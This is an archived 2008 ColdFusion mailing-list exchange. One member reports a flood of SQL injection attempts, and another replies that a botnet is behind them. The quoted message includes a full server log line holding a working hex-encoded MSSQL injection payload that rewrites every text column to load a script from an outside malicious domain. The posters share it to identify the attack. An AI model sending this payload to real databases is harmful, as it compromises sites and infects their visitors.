It is a centrally controlled attack running on zombie computers. I am pretty sure that this is related to the recent spate of hijacking and DNS issues. You are not the lone ranger.
Cary Gordon The Cherry Hill Company http://chillco.com On Aug 7, 2008, at 3:23 PM, Terry Ford wrote: > Thanks for the update. We've been running CF8 for a few months now > with no problems. Approximately 1.5M CF pages a day on a single > server. The server is barely breaking a sweat too... I suspect we > could probably do 50% more traffic on this machine without major > performance issues. We use lots of caching. > > 178 days now without a reboot. Haven't had a single crash since we > switched to CF8. Needless to say, very impressed! > > Totally unrelated: has anyone seen massive SQL injection attacks > over the last few days / weeks? We're getting tens of thousands of > injection attacks from hundreds of different IPs each day. It > started off slow, but now they're coming in like mad. It has > almost become a DOS attack now over the past 24 hrs. > > The injection attacks don't worry me -- we're well coded against > them (and these seem to be MSSQL attacks). But the sheer volume of > traffic being generated is starting to get a little worrisome. > Does anyone know more about where this attack is coming from? Is > it a centrally controlled attack, a worm, ...? > > > Here is a typical attack: > > 70.156.129.101 - - [07/Aug/2008:17:12:33 -0500] "GET /path/ > template.cfm?gid=1074';[EMAIL PROTECTED](4000);SET > %20 > @S > = > CAST > (0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626 > C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E7874797 > 0653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C452 > 8404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F6 > 3737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F736372697 > 0743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 > > %20AS%20CHAR(4000));EXEC(@S); HTTP/ > 1.1" 200 36 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT > 5.1; .NET CLR 1.1.4322)" > > > Regards > Terry > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Linux/message.cfm/messageid:4421 Subscription: http://www.houseoffusion.com/groups/CF-Linux/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.14
